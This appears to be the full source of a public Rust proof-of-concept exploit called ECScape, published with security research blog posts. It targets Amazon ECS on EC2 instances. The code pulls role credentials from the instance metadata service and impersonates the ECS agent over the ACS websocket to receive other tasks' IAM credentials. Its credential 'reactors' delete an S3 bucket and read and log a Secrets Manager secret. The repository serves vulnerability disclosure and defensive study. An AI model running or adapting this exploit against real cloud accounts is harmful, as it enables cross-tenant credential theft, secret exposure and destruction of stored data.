├── logo.png ├── src ├── protocols │ ├── acs │ │ ├── mod.rs │ │ ├── request_builder.rs │ │ ├── structs.rs │ │ └── handler.rs │ ├── tcs │ │ ├── mod.rs │ │ ├── request_builder.rs │ │ ├── structs.rs │ │ └── handler.rs │ ├── mod.rs │ ├── structs │ │ ├── common.rs │ │ └── tcs_messages.rs │ ├── protocol_client.rs │ ├── protocol_handler.rs │ └── request_builder.rs ├── config.rs ├── credentials_reactors │ ├── mod.rs │ ├── s3_reactor.rs │ └── secrets_manager_reactor.rs ├── imds_metadata.rs ├── ecs_agent_metadata.rs ├── ecscape.rs ├── main.rs ├── ws_client.rs └── ecs_container_instance_registrator.rs ├── Dockerfile ├── .cargo └── config.toml ├── docs └── proxy.txt ├── .gitignore ├── LICENSE ├── Cargo.toml ├── README.md ├── .github └── workflows │ └── ci.yml ├── terraform └── main.tf └── Cargo.lock /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/naorhaziz/ecscape/HEAD/logo.png -------------------------------------------------------------------------------- /src/protocols/acs/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod handler; 2 | mod request_builder; 3 | mod structs; 4 | -------------------------------------------------------------------------------- /src/protocols/tcs/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod handler; 2 | pub mod request_builder; 3 | pub mod structs; 4 | -------------------------------------------------------------------------------- /src/protocols/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod acs; 2 | mod protocol_client; 3 | pub mod protocol_handler; 4 | mod request_builder; 5 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | 3 | ENV RUST_BACKTRACE=full 4 | # anyhow creates a backtrace for every error, which can be quite taxing, turning it off for now 5 | ENV RUST_LIB_BACKTRACE=0 6 | ENV RUST_LOG=info 7 | 8 | WORKDIR /app 9 | COPY --chmod=0755 ecscape ./ecscape 10 | 11 | CMD ["sleep", "infinity"] 12 | -------------------------------------------------------------------------------- /.cargo/config.toml: -------------------------------------------------------------------------------- 1 | [target.'cfg(all(target_os = "linux"))'] 2 | runner = "sudo -E" 3 | 4 | [target.aarch64-apple-darwin] 5 | 6 | [target.x86_64-apple-darwin] 7 | 8 | [target.aarch64-unknown-linux-musl] 9 | rustflags = ["-C", "link-arg=-static"] 10 | 11 | [target.x86_64-unknown-linux-musl] 12 | rustflags = ["-C", "link-arg=-static"] 13 | 14 | [env] 15 | -------------------------------------------------------------------------------- /src/config.rs: -------------------------------------------------------------------------------- 1 | use std::sync::LazyLock; 2 | 3 | pub static VERSION: LazyLock = LazyLock::new(|| { 4 | option_env!("GITHUB_SHA") 5 | .unwrap_or(env!("CARGO_PKG_VERSION")) 6 | .to_string() 7 | }); 8 | 9 | pub static ARCH: LazyLock = LazyLock::new(|| { 10 | match std::env::consts::ARCH { 11 | "x86_64" => "amd64", 12 | "aarch64" => "arm64", 13 | arch => arch, 14 | } 15 | .to_string() 16 | }); 17 | -------------------------------------------------------------------------------- /docs/proxy.txt: -------------------------------------------------------------------------------- 1 | mkdir -p ~/.mitmproxy 2 | 3 | docker run --rm -it --name mitmproxy \ 4 | -p 8081:8081 \ 5 | -v ~/.mitmproxy:/home/mitmproxy/.mitmproxy \ 6 | mitmproxy/mitmproxy:latest \ 7 | mitmproxy -p 8081 8 | 9 | # Copy into the distribution of authoritative CAs 10 | sudo cp ~/.mitmproxy/mitmproxy-ca-cert.pem \ 11 | /etc/pki/ca-trust/source/anchors/mitmproxy-ca.crt 12 | 13 | # Rebuild the combined trust bundle 14 | sudo update-ca-trust extract 15 | 16 | 17 | add to etc/ecs/ecs.config: 18 | HTTP_PROXY=127.0.0.1:8081 19 | NO_PROXY=169.254.169.254,169.254.170.2,/var/run/docker.sock 20 | 21 | systemctl restart ecs 22 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | debug/ 4 | target/ 5 | 6 | # These are backup files generated by rustfmt 7 | **/*.rs.bk 8 | 9 | # MSVC Windows builds of rustc generate these, which store debugging information 10 | *.pdb 11 | 12 | # RustRover 13 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 14 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 15 | # and can be added to the global gitignore or merged into this file. For a more nuclear 16 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 17 | #.idea/ 18 | terraform/ -------------------------------------------------------------------------------- /src/protocols/structs/common.rs: -------------------------------------------------------------------------------- 1 | use serde::{Deserialize, Serialize}; 2 | 3 | // Common structs used by both ACS and TCS 4 | #[derive(Serialize, Deserialize, Debug)] 5 | #[serde(rename_all = "camelCase")] 6 | pub struct HeartbeatMessageStruct { 7 | pub message_id: String, 8 | pub healthy: Option, 9 | } 10 | 11 | #[derive(Serialize, Deserialize, Debug)] 12 | #[serde(rename_all = "camelCase")] 13 | pub struct HeartbeatAckRequestStruct { 14 | pub message_id: String, 15 | } 16 | 17 | #[derive(Serialize, Deserialize, Debug)] 18 | #[serde(rename_all = "camelCase")] 19 | pub struct ErrorMessageStruct { 20 | pub message_id: String, 21 | pub error_type: Option, 22 | pub error_message: Option, 23 | } 24 | 25 | #[derive(Serialize, Deserialize, Debug)] 26 | #[serde(rename_all = "camelCase")] 27 | pub struct CloseMessageStruct { 28 | pub message_id: String, 29 | pub reason: Option, 30 | } 31 | -------------------------------------------------------------------------------- /src/protocols/protocol_client.rs: -------------------------------------------------------------------------------- 1 | use crate::ws_client::WSClient; 2 | use anyhow::Result; 3 | use serde::{Serialize, de::DeserializeOwned}; 4 | use tokio_tungstenite::tungstenite::http::Request; 5 | 6 | pub struct ProtocolClient { 7 | ws_client: WSClient, 8 | _phantom: std::marker::PhantomData, 9 | } 10 | 11 | impl ProtocolClient 12 | where 13 | T: Serialize + DeserializeOwned, 14 | { 15 | pub async fn connect(request: Request<()>) -> Result { 16 | let ws_client = WSClient::connect(request).await?; 17 | Ok(Self { 18 | ws_client, 19 | _phantom: std::marker::PhantomData, 20 | }) 21 | } 22 | 23 | pub async fn send(&self, message: &T) -> Result<()> { 24 | self.ws_client.send(serde_json::to_string(message)?).await 25 | } 26 | 27 | pub async fn receive(&mut self) -> Result> { 28 | match self.ws_client.receive().await? { 29 | Some(msg) => Ok(Some(serde_json::from_str::(&msg)?)), 30 | None => Ok(None), 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Naor Haziz 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/protocols/tcs/request_builder.rs: -------------------------------------------------------------------------------- 1 | use crate::protocols::request_builder::RequestBuilder; 2 | use anyhow::{Result, anyhow}; 3 | use aws_sdk_ecs::operation::discover_poll_endpoint::DiscoverPollEndpointOutput; 4 | use url::Url; 5 | 6 | pub struct TCSRequestBuilder {} 7 | 8 | impl TCSRequestBuilder { 9 | pub fn new() -> Self { 10 | Self {} 11 | } 12 | } 13 | 14 | impl RequestBuilder for TCSRequestBuilder { 15 | fn build_url( 16 | &self, 17 | discover_poll_endpoint_output: DiscoverPollEndpointOutput, 18 | cluster_arn: &str, 19 | container_instance_arn: &str, 20 | agent_version: &str, 21 | agent_hash: &str, 22 | ) -> Result { 23 | let telemetry_endpoint_url = discover_poll_endpoint_output 24 | .telemetry_endpoint() 25 | .ok_or(anyhow!("no telemetry endpoint url"))?; 26 | 27 | let mut ws_url = Self::build_ws_url(telemetry_endpoint_url)?; 28 | ws_url 29 | .query_pairs_mut() 30 | .append_pair("agentHash", agent_hash) 31 | .append_pair("agentVersion", agent_version) 32 | .append_pair("cluster", cluster_arn) 33 | .append_pair("containerInstance", container_instance_arn); 34 | 35 | Ok(ws_url) 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/credentials_reactors/mod.rs: -------------------------------------------------------------------------------- 1 | use anyhow::Result; 2 | use async_trait::async_trait; 3 | use tokio::sync::broadcast::{Receiver, error::RecvError}; 4 | use tracing::{debug, error, warn}; 5 | 6 | pub mod s3_reactor; 7 | pub mod secrets_manager_reactor; 8 | 9 | #[derive(Clone, Debug)] 10 | pub struct ECScapeCredentials { 11 | pub access_key_id: String, 12 | pub secret_access_key: String, 13 | pub session_token: String, 14 | } 15 | 16 | #[async_trait] 17 | pub trait CredentialsReactor { 18 | async fn react(&self, credentials: ECScapeCredentials) -> Result<()>; 19 | 20 | async fn start(&self, mut credentials_receiver: Receiver) -> Result<()> { 21 | loop { 22 | match credentials_receiver.recv().await { 23 | Ok(credentials) => { 24 | if let Err(err) = self.react(credentials).await { 25 | debug!("Credentials reactor failed to react: {:?}", err); 26 | } 27 | } 28 | Err(RecvError::Lagged(skipped)) => { 29 | warn!( 30 | "Credentials reactor lagged behind, skipped {} messages", 31 | skipped 32 | ); 33 | } 34 | Err(RecvError::Closed) => { 35 | error!("Credentials broadcast channel closed, stopping reactor"); 36 | break; 37 | } 38 | } 39 | } 40 | Ok(()) 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/protocols/protocol_handler.rs: -------------------------------------------------------------------------------- 1 | use crate::protocols::protocol_client::ProtocolClient; 2 | use anyhow::Result; 3 | use async_trait::async_trait; 4 | use serde::{Serialize, de::DeserializeOwned}; 5 | use std::time::Duration; 6 | use tokio_retry2::{Retry, RetryError, strategy::ExponentialBackoff}; 7 | use tokio_tungstenite::tungstenite::http::Request; 8 | 9 | #[async_trait] 10 | pub trait ProtocolHandler: Send + Sync 11 | where 12 | T: Serialize + DeserializeOwned + Send, 13 | { 14 | fn build_request(&self) -> Result>; 15 | async fn start_inner(&self, client: ProtocolClient) -> Result<()>; 16 | 17 | async fn start(&self) -> Result<()> { 18 | // Official ECS Agent reconnection timing constants 19 | const CONNECTION_BACKOFF_MIN: Duration = Duration::from_millis(250); 20 | const CONNECTION_BACKOFF_MAX: Duration = Duration::from_secs(120); 21 | const CONNECTION_BACKOFF_MULTIPLIER: u64 = 2; 22 | 23 | let retry_strategy = 24 | ExponentialBackoff::from_millis(CONNECTION_BACKOFF_MIN.as_millis() as u64) 25 | .max_delay(CONNECTION_BACKOFF_MAX) 26 | .factor(CONNECTION_BACKOFF_MULTIPLIER); 27 | 28 | Retry::spawn(retry_strategy, || async { 29 | let request = self.build_request()?; 30 | let client = ProtocolClient::::connect(request).await?; 31 | self.start_inner(client) 32 | .await 33 | .map_err(RetryError::transient) 34 | }) 35 | .await?; 36 | 37 | Ok(()) 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "ecscape" 3 | version = "0.1.0" 4 | edition = "2024" 5 | 6 | [dependencies] 7 | anyhow = "1.0.98" 8 | async-trait = "0.1.88" 9 | aws-credential-types = "1.2.4" 10 | aws-sdk-ecs = { version = "1.91.0", features = [ 11 | "behavior-version-latest", 12 | "rustls", 13 | ] } 14 | aws-sdk-s3 = { version = "1.100.0", features = [ 15 | "behavior-version-latest", 16 | "rustls", 17 | ] } 18 | aws-sdk-secretsmanager = { version = "1.82.0", features = [ 19 | "behavior-version-latest", 20 | "rustls", 21 | ] } 22 | aws-sigv4 = "1.3.3" 23 | aws-types = "1.3.8" 24 | chrono = { version = "0.4.41", features = ["serde"] } 25 | clap = { version = "4.5.41", features = ["derive", "env"] } 26 | futures-util = "0.3.31" 27 | mimalloc = "0.1.47" 28 | num_cpus = "1.17.0" 29 | regex = "1.11.1" 30 | reqwest = { version = "0.12.22", default-features = false, features = [ 31 | "rustls-tls", 32 | "json", 33 | ] } 34 | rustls = { version = "0.23.30", features = ["ring"] } 35 | serde = { version = "1.0.219", features = ["derive"] } 36 | serde_json = "1.0.141" 37 | sysinfo = "0.36.1" 38 | tokio = { version = "1.47.0", features = ["full"] } 39 | tokio-retry2 = "0.5.7" 40 | tokio-tungstenite = { version = "0.27.0", features = [ 41 | "rustls-tls-native-roots", 42 | ] } 43 | tracing = "0.1.41" 44 | tracing-subscriber = "0.3.19" 45 | url = "2.5.4" 46 | uuid = { version = "1.17.0", features = ["v4"] } 47 | 48 | [profile.release] 49 | strip = "debuginfo" 50 | opt-level = 3 51 | lto = "fat" 52 | codegen-units = 1 53 | panic = "abort" 54 | overflow-checks = false 55 | -------------------------------------------------------------------------------- /src/credentials_reactors/s3_reactor.rs: -------------------------------------------------------------------------------- 1 | use super::{CredentialsReactor, ECScapeCredentials}; 2 | use anyhow::Result; 3 | use async_trait::async_trait; 4 | use aws_sdk_s3::Client as S3Client; 5 | use aws_sdk_s3::config::Region as S3Region; 6 | use aws_sdk_s3::config::{Builder as S3ConfigBuilder, Credentials as S3Credentials}; 7 | use aws_types::region::Region; 8 | use tracing::{debug, info}; 9 | 10 | pub struct S3Reactor { 11 | region: Region, 12 | s3_bucket: Option, 13 | } 14 | 15 | impl S3Reactor { 16 | pub fn new(s3_bucket: Option, region: String) -> Self { 17 | let region = S3Region::new(region); 18 | Self { region, s3_bucket } 19 | } 20 | } 21 | 22 | #[async_trait] 23 | impl CredentialsReactor for S3Reactor { 24 | async fn react(&self, credentials: ECScapeCredentials) -> Result<()> { 25 | let Some(s3_bucket) = &self.s3_bucket else { 26 | debug!("S3 bucket not configured, skipping S3 reactor"); 27 | return Ok(()); 28 | }; 29 | 30 | let creds = S3Credentials::new( 31 | &credentials.access_key_id, 32 | &credentials.secret_access_key, 33 | Some(credentials.session_token), 34 | None, 35 | "ACS", 36 | ); 37 | let config = S3ConfigBuilder::new() 38 | .region(self.region.clone()) 39 | .credentials_provider(creds) 40 | .build(); 41 | let s3 = S3Client::from_conf(config); 42 | 43 | s3.delete_bucket().bucket(s3_bucket).send().await?; 44 | 45 | info!("S3 bucket '{s3_bucket}' deleted successfully"); 46 | 47 | Ok(()) 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/credentials_reactors/secrets_manager_reactor.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, anyhow}; 2 | use async_trait::async_trait; 3 | use aws_credential_types::Credentials; 4 | use aws_sdk_secretsmanager::{Client as SecretsManagerClient, config::SharedCredentialsProvider}; 5 | use aws_types::{SdkConfig, region::Region}; 6 | use tracing::{debug, info}; 7 | 8 | use super::{CredentialsReactor, ECScapeCredentials}; 9 | 10 | pub struct SecretsManagerReactor { 11 | pub region: Region, 12 | pub secret_arn: Option, 13 | } 14 | 15 | impl SecretsManagerReactor { 16 | pub fn new(secret_arn: Option, region: String) -> Self { 17 | Self { 18 | region: Region::new(region), 19 | secret_arn, 20 | } 21 | } 22 | } 23 | 24 | #[async_trait] 25 | impl CredentialsReactor for SecretsManagerReactor { 26 | async fn react(&self, credentials: ECScapeCredentials) -> Result<()> { 27 | let Some(secret_arn) = &self.secret_arn else { 28 | debug!("Secret ARN not configured, skipping Secrets Manager reactor"); 29 | return Ok(()); 30 | }; 31 | 32 | let aws_credentials = Credentials::new( 33 | &credentials.access_key_id, 34 | &credentials.secret_access_key, 35 | Some(credentials.session_token.clone()), 36 | None, 37 | "ACS", 38 | ); 39 | 40 | let credentials_provider = SharedCredentialsProvider::new(aws_credentials); 41 | let config = SdkConfig::builder() 42 | .credentials_provider(credentials_provider) 43 | .region(self.region.clone()) 44 | .build(); 45 | let client = SecretsManagerClient::new(&config); 46 | 47 | let result = client 48 | .get_secret_value() 49 | .secret_id(secret_arn.clone()) 50 | .send() 51 | .await?; 52 | 53 | let secret_value = result 54 | .secret_string() 55 | .ok_or(anyhow!("Secret value is empty or not a string"))?; 56 | 57 | info!("Read secret {}: {}", secret_arn, secret_value); 58 | 59 | Ok(()) 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /src/protocols/acs/request_builder.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, anyhow}; 2 | use aws_sdk_ecs::operation::discover_poll_endpoint::DiscoverPollEndpointOutput; 3 | use std::sync::atomic::{AtomicBool, Ordering}; 4 | use url::Url; 5 | 6 | use crate::protocols::request_builder::RequestBuilder; 7 | 8 | pub struct ACSRequestBuilder { 9 | send_credentials: AtomicBool, 10 | } 11 | 12 | impl ACSRequestBuilder { 13 | pub fn new() -> Self { 14 | Self { 15 | send_credentials: AtomicBool::new(true), 16 | } 17 | } 18 | } 19 | 20 | impl RequestBuilder for ACSRequestBuilder { 21 | fn build_url( 22 | &self, 23 | discover_poll_endpoint_output: DiscoverPollEndpointOutput, 24 | cluster_arn: &str, 25 | container_instance_arn: &str, 26 | agent_version: &str, 27 | agent_hash: &str, 28 | ) -> Result { 29 | // ACS protocol version spec: 30 | // 1: default protocol version 31 | // 2: ACS will proactively close the connection when heartbeat ACKs are missing 32 | pub const ACS_PROTOCOL_VERSION: &str = "1"; 33 | pub const ACS_PROTOCOL_SEC_NUM: &str = "1"; 34 | 35 | let poll_endpoint_url = discover_poll_endpoint_output 36 | .endpoint() 37 | .ok_or(anyhow!("no acs endpoint url"))?; 38 | 39 | let mut ws_url = Self::build_ws_url(poll_endpoint_url)?; 40 | ws_url 41 | .query_pairs_mut() 42 | .append_pair("agentHash", agent_hash) 43 | .append_pair("agentVersion", agent_version) 44 | .append_pair("clusterArn", cluster_arn) 45 | .append_pair("containerInstanceArn", container_instance_arn) 46 | .append_pair("protocolVersion", ACS_PROTOCOL_VERSION) 47 | .append_pair("seqNum", ACS_PROTOCOL_SEC_NUM) 48 | .append_pair( 49 | "sendCredentials", 50 | &self.send_credentials.load(Ordering::Relaxed).to_string(), 51 | ); 52 | 53 | self.send_credentials.store(false, Ordering::Relaxed); // Only send credentials on the first connection 54 | 55 | Ok(ws_url) 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/imds_metadata.rs: -------------------------------------------------------------------------------- 1 | use anyhow::Result; 2 | use reqwest::{Client, Response}; 3 | use serde::Deserialize; 4 | 5 | const IMDS_BASE: &str = "http://169.254.169.254"; 6 | const IMDS_LOCAL_IPV4_PATH: &str = "latest/meta-data/local-ipv4"; 7 | const IMDS_ROLE_NAME_PATH: &str = "latest/meta-data/iam/security-credentials"; 8 | const IMDS_ROLE_CREDS_PATH_PREFIX: &str = "latest/meta-data/iam/security-credentials/"; 9 | const IMDS_REGION_PATH: &str = "latest/meta-data/placement/region"; 10 | 11 | #[derive(Debug, Deserialize)] 12 | #[serde(rename_all = "PascalCase")] 13 | struct ImdsRoleCredentials { 14 | access_key_id: String, 15 | secret_access_key: String, 16 | token: String, 17 | } 18 | 19 | #[derive(Debug)] 20 | pub struct IMDSMetadata { 21 | pub local_ip: String, 22 | pub region: String, 23 | pub aws_access_key_id: String, 24 | pub aws_access_secret_key: String, 25 | pub aws_access_token: String, 26 | } 27 | 28 | impl IMDSMetadata { 29 | pub async fn try_new() -> Result { 30 | let client = Client::new(); 31 | 32 | let local_ip = Self::imds_get(&client, IMDS_LOCAL_IPV4_PATH) 33 | .await? 34 | .text() 35 | .await?; 36 | 37 | let region = Self::imds_get(&client, IMDS_REGION_PATH) 38 | .await? 39 | .text() 40 | .await?; 41 | 42 | let role_name = Self::imds_get(&client, IMDS_ROLE_NAME_PATH) 43 | .await? 44 | .text() 45 | .await?; 46 | 47 | let creds_path = format!("{}{}", IMDS_ROLE_CREDS_PATH_PREFIX, role_name.trim()); 48 | let creds: ImdsRoleCredentials = Self::imds_get(&client, &creds_path).await?.json().await?; 49 | 50 | Ok(Self { 51 | local_ip, 52 | region, 53 | aws_access_key_id: creds.access_key_id, 54 | aws_access_secret_key: creds.secret_access_key, 55 | aws_access_token: creds.token, 56 | }) 57 | } 58 | 59 | async fn imds_get(client: &Client, path: &str) -> Result { 60 | let response = client 61 | .get(format!("{}/{}", IMDS_BASE, path)) 62 | .send() 63 | .await? 64 | .error_for_status()?; 65 | Ok(response) 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | ECScape 3 |

4 | 5 | # ECSCape 6 | 7 | **ECSCape** is a proof‑of‑concept exploit demonstrating a privilege‑escalation vulnerability in **Amazon ECS (EC2 launch type)**. It allows a low‑privileged ECS task to hijack **IAM credentials** of other tasks running on the same container instance, breaking task isolation. It can obtain the **task execution role** credentials (the agent‑only identity used by ECS to pull images, push logs, decrypt, etc.), which are **not intended to be accessible by containers**. 8 | 9 | > ⚠️ Requirements: 10 | > - Tasks must run on an **EC2 instance managed by ECS** (EC2 launch type), with other tasks running on the same host. 11 | > - Not applicable to Fargate. 12 | 13 | --- 14 | 15 | ## Blog posts 16 | 17 | For the full deep dive and technical explanation: 18 | 19 | - [Part 1: Under the Hood of Amazon ECS on EC2 - Agents, IAM Roles, and Task Isolation](https://naorhaziz.com/posts/under-the-hood-of-amazon-ecs/) 20 | - [Part 2: ECScape - Understanding IAM Privilege Boundaries in Amazon ECS](https://naorhaziz.com/posts/ecscape-iam-privilege-boundaries-in-ecs/) 21 | 22 | --- 23 | 24 | ## What this PoC demonstrates 25 | 26 | - **Cross‑task IAM credential theft (task role):** Steal credentials of other ECS tasks on the same EC2 host and use their permissions for lateral movement and privilege escalation. 27 | - **Task execution role theft:** Obtain credentials intended for the **ECS agents** (e.g., to read from ECR, write CloudWatch Logs, KMS/Secrets Manager). This identity is **not meant for application containers** and can expand impact if mis‑scoped. Additionally, if any tasks on the same EC2 instance have secrets defined (via environment variables ValueFrom), this PoC can steal those secrets using the hijacked task execution role credentials, allowing access to **all container secrets** from Secrets Manager or Parameter Store configured for any task running on the compromised instance. 28 | 29 | --- 30 | 31 | ## License 32 | 33 | This PoC is shared for educational and ethical research purposes under the [MIT License](LICENSE). 34 | 35 | --- 36 | 37 | ## Contact 38 | 39 | - LinkedIn: [https://www.linkedin.com/in/naorhaziz](https://www.linkedin.com/in/naorhaziz) 40 | - Twitter: [https://x.com/naor_haziz](https://x.com/naor_haziz) 41 | - GitHub: [https://github.com/naorhaziz](https://github.com/naorhaziz) 42 | 43 | --- 44 | 45 | **Run responsibly. Only test on accounts and instances you own or have explicit permission to test.** 46 | -------------------------------------------------------------------------------- /src/ecs_agent_metadata.rs: -------------------------------------------------------------------------------- 1 | use std::sync::LazyLock; 2 | 3 | use anyhow::Result; 4 | use regex::Regex; 5 | use serde::{Deserialize, Deserializer}; 6 | 7 | static ECS_VERSION_RE: LazyLock = 8 | LazyLock::new(|| Regex::new(r"v(?P[\d\.]+)\s+\(\*(?P[a-fA-F0-9]+)\)").unwrap()); 9 | 10 | static ARN_RE: LazyLock = LazyLock::new(|| { 11 | Regex::new(r"^arn:aws:ecs:(?P[^:]+):(?P\d+):container-instance/.+$") 12 | .unwrap() 13 | }); 14 | 15 | #[derive(Debug)] 16 | pub struct ECSAgentMetadata { 17 | pub region: String, 18 | pub cluster_arn: String, 19 | pub container_instance_arn: String, 20 | pub ecs_agent_version: String, 21 | pub ecs_agent_hash: String, 22 | } 23 | 24 | impl<'de> Deserialize<'de> for ECSAgentMetadata { 25 | fn deserialize(deserializer: D) -> Result 26 | where 27 | D: Deserializer<'de>, 28 | { 29 | #[derive(Deserialize)] 30 | #[serde(rename_all = "PascalCase")] 31 | struct Raw<'a> { 32 | cluster: &'a str, 33 | container_instance_arn: &'a str, 34 | version: &'a str, 35 | } 36 | 37 | let raw = Raw::deserialize(deserializer)?; 38 | 39 | let arn_caps = ARN_RE.captures(raw.container_instance_arn).ok_or_else(|| { 40 | serde::de::Error::custom(format!( 41 | "Failed to extract region/account_id from: {}", 42 | raw.container_instance_arn 43 | )) 44 | })?; 45 | 46 | let region = &arn_caps["region"]; 47 | let account_id = &arn_caps["account_id"]; 48 | let cluster_arn = format!( 49 | "arn:aws:ecs:{}:{}:cluster/{}", 50 | region, account_id, raw.cluster 51 | ); 52 | 53 | let caps = ECS_VERSION_RE.captures(raw.version).ok_or_else(|| { 54 | serde::de::Error::custom(format!("Failed to parse version string: {}", raw.version)) 55 | })?; 56 | 57 | let ecs_agent_version = caps["ver"].to_string(); 58 | let ecs_agent_hash = caps["hash"].to_string(); 59 | 60 | Ok(ECSAgentMetadata { 61 | region: region.to_string(), 62 | cluster_arn, 63 | container_instance_arn: raw.container_instance_arn.to_string(), 64 | ecs_agent_version, 65 | ecs_agent_hash, 66 | }) 67 | } 68 | } 69 | 70 | impl ECSAgentMetadata { 71 | pub async fn try_new(local_ip: &str) -> Result { 72 | let metadata_url = format!("http://{local_ip}:51678/v1/metadata"); 73 | let metadata = reqwest::get(metadata_url).await?.json().await?; 74 | 75 | Ok(metadata) 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /src/ecscape.rs: -------------------------------------------------------------------------------- 1 | use crate::{ 2 | credentials_reactors::ECScapeCredentials, 3 | ecs_agent_metadata::ECSAgentMetadata, 4 | imds_metadata::IMDSMetadata, 5 | protocols::{acs::handler::ACSHandler, protocol_handler::ProtocolHandler}, 6 | }; 7 | use anyhow::Result; 8 | use aws_credential_types::Credentials; 9 | use aws_sdk_ecs::{Client as EcsClient, config::SharedCredentialsProvider}; 10 | use aws_types::{SdkConfig, region::Region}; 11 | use tokio::{select, sync::broadcast::Sender}; 12 | 13 | pub struct ECScape { 14 | imds_metadata: IMDSMetadata, 15 | ecs_agent_metadata: ECSAgentMetadata, 16 | } 17 | 18 | impl ECScape { 19 | pub async fn try_new(imds_metadata: IMDSMetadata) -> Result { 20 | let ecs_agent_metadata = ECSAgentMetadata::try_new(&imds_metadata.local_ip).await?; 21 | 22 | Ok(Self { 23 | imds_metadata, 24 | ecs_agent_metadata, 25 | }) 26 | } 27 | 28 | pub async fn start(&self, credentials_sender: Sender) -> Result<()> { 29 | let credentials = Credentials::new( 30 | self.imds_metadata.aws_access_key_id.as_str(), 31 | self.imds_metadata.aws_access_secret_key.as_str(), 32 | Some(self.imds_metadata.aws_access_token.clone()), 33 | None, 34 | "IMDS", 35 | ); 36 | 37 | let credentials_provider = SharedCredentialsProvider::new(credentials.clone()); 38 | 39 | let region = Region::new(self.ecs_agent_metadata.region.clone()); 40 | let sdk_config = SdkConfig::builder() 41 | .credentials_provider(credentials_provider) 42 | .region(region) 43 | .build(); 44 | 45 | let ecs_client = EcsClient::new(&sdk_config); 46 | 47 | let discover_poll_endpoint_output = ecs_client 48 | .discover_poll_endpoint() 49 | .cluster(&self.ecs_agent_metadata.cluster_arn) 50 | .container_instance(self.ecs_agent_metadata.container_instance_arn.as_str()) 51 | .send() 52 | .await?; 53 | 54 | // Create ACS handler 55 | let acs_handler = ACSHandler::new( 56 | credentials_sender, 57 | credentials.clone(), 58 | discover_poll_endpoint_output.clone(), 59 | self.ecs_agent_metadata.region.clone(), 60 | self.ecs_agent_metadata.cluster_arn.clone(), 61 | self.ecs_agent_metadata.container_instance_arn.clone(), 62 | self.ecs_agent_metadata.ecs_agent_version.clone(), 63 | self.ecs_agent_metadata.ecs_agent_hash.clone(), 64 | ); 65 | 66 | // // Create TCS handler 67 | // let tcs_handler = TCSHandler::new( 68 | // credentials, 69 | // discover_poll_endpoint_output, 70 | // self.ecs_agent_metadata.region.clone(), 71 | // self.ecs_agent_metadata.cluster_arn.clone(), 72 | // self.container_instance_registrator 73 | // .container_instance_arn() 74 | // .to_string(), 75 | // self.ecs_agent_metadata.ecs_agent_version.clone(), 76 | // self.ecs_agent_metadata.ecs_agent_hash.clone(), 77 | // ); 78 | 79 | select! { 80 | res = acs_handler.start() => res, 81 | // res = tcs_handler.start() => res, 82 | } 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /.github/workflows/ci.yml: -------------------------------------------------------------------------------- 1 | name: CI 2 | 3 | on: 4 | push: 5 | pull_request: 6 | 7 | permissions: 8 | packages: write 9 | contents: read 10 | 11 | concurrency: 12 | group: ${{ github.workflow }}-${{ github.ref }} 13 | cancel-in-progress: true 14 | 15 | jobs: 16 | build: 17 | runs-on: ubuntu-latest 18 | container: 19 | image: ghcr.io/cross-rs/cross:latest 20 | strategy: 21 | matrix: 22 | target: [ x86_64-unknown-linux-musl, aarch64-unknown-linux-musl ] 23 | defaults: 24 | run: 25 | shell: bash 26 | steps: 27 | - name: Checkout 28 | uses: actions/checkout@v3 29 | 30 | - name: Set Default Rust Toolchain 31 | run: rustup default stable 32 | 33 | - name: Install llvm 34 | run: apt-get update && apt-get install -y llvm 35 | 36 | - name: Compile 37 | run: cross build --release --target ${{ matrix.target }} 38 | 39 | - name: Strip Binary 40 | run: | 41 | llvm-strip target/${{ matrix.target }}/release/ecscape 42 | 43 | - name: Verify Static Linking 44 | run: | 45 | file target/${{ matrix.target }}/release/ecscape 46 | 47 | - name: Verify Static Linking with ldd 48 | run: | 49 | ldd_output=$(ldd target/${{ matrix.target }}/release/ecscape 2>&1 || true) 50 | echo "$ldd_output" 51 | echo "$ldd_output" | grep -E -q "not a dynamic executable|statically linked" || { echo "Binary is not statically linked!"; exit 